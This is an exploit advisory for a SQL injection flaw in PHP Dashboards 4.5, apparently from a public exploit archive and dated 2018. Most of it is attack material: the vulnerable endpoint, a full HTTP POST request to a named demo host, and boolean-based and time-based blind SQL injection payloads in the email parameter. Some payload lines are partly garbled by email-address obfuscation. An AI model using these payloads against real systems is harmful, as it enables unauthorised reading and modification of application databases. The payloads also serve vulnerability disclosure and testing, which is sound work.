PHP Dashboards 4.5 - SQL Injection

# Exploit Title: PHP Dashboards 4.5 - SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104
# Version: v4.5
# Category: Webapps
# Tested on: Kali linux
# Description: 
# PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC: SQLi:

http://Target/php/save/user.php?mode=add

POST /php/save/user.php?mode=add HTTP/1.1
Host: phpdashboardv5.dataninja.biz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://phpdashboardv5.dataninja.biz/
Content-Length: 152
Cookie: PHPSESSID=f4ducgk49cgei129vs7qfl10g7
Connection: keep-alive
email=test2%40gmail.com&password=test123&dashboardKey=&url=
phpdashboardv5.dataninja.biz
%2Fphp%2Fsave%2F%3Fmode%3Dcollaborate%26email%3Dtest2%40gmail.com


# Vulnerable Payload:
# Parameter: email (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 

[email protected]' AND 6800=6800 AND
'fACB'='fACB&password=test123&dashboardKey=&url=
Target/php/save/?mode=collaborate%[email protected]

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: 

[email protected]' AND SLEEP(5) AND
'zgpA'='zgpA&password=test123&dashboardKey=&url=
Target/php/save/?mode=collaborate%[email protected]